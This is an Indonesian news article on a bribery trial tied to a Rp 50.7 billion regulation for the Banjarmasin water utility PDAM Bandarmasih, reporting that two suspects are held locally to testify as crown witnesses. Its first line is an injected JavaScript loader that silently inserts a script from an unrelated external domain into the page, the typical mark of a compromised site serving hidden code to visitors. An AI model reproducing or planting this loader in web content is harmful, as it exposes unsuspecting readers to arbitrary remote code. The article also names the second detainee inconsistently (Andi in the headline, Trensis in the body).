(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Jadi Saksi Mahkota, Iwan dan Andi Saat ini Dititip di Rutan Polresta Banjarmasin


BANJARMASIN, Sidang kasus suap Raperda Penyertaan Modal PDAM Bandarmasih sebesae Rp 50,7 miliar dengan terdakwa bekas Ketua PDAM Muslih dan Manager Keuangan PDAM Trensis, Selasa (28/11) akan menghadirkan saksi mahkota yang juga terlibat dalam kasus tersebut. Saksi yang akan dipanggil Jaksa Penuntut Umum (JPU) untuk didengar keterangannya adalah bekas Ketua DPRD Banjarmasin Iwan Rusmali dan Ketua Pansus Perda PDAM Andi Effendi.

Terkait hal tersebut, Komisi Pemberantasan Korupsi (KPK) telah menitipkan Iwan dan Trensis yang juga tersangka dalam kasus tersebut di Rumah Tahanan (Rutan) Polresta Banjarmasin.

“Kedua tersangka dititipkan KPK selama dua hari untuk dihadirkan sebagai saksi sidang lanjutan terdakwa Muslih dan Trensis pada Selasa besok,” kata Kapolresta Banjarmasin Kombes Pol Anjar Wicaksana, Senin (27/11) kepada Antara. Keduanya tiba di Rutan Polresta Banjarmasin sekitar pukul 15.45 Wita.

Baik Iwan maupun Trensis datang menggunakan rompi warna orange bertuliskan tahanan KPK dan dikawal sebanyak empat orang yang diduga penyidik KPK yang diketahui berangkat dari Kantor KPK di Jakarta.

“Kedua tersangka kami tempatkan di sel khusus namun dengan perlakuan yang sama dengan tahanan lainnya. Hanya pengamanan saja yang kami tingkatkan,” ucap Kapolresta.

Saat ini, Iwan dan Andi Effendi masih berstatus tahanan KPK selama proses penyidikan kasus dugaan suap sebesar Rp 50,7 miliar. Keduanya bakal menyusul terdakwa Direktur Utama (Dirut) PDAM Bandarmasih Muslih dan Manajer Keuangan PDAM Bandarmasih Trensis yang telah terlebih dahulu menjalani sidang perdana pada Kamis pekan lalu.

Dalam sidang sebelumnya dengan agenda pembacaan dakwaan oleh JPU, jaksa KPK yang diketuai Ferdian Adi Nugroho didampingi Wayan Riana dan Amir Nor Dianto menjerat Muslih dan Trensis dengan pasal berlapis.

Yakni, kedua terdakwa dinilai melanggar  Pasal 5 ayat (1) huruf a atau pasal 5 ayat (1) huruf b atau Pasal 13 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 jo Pasal 55 ayat (1) ke-1 KUHP.


Page: 1 2

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.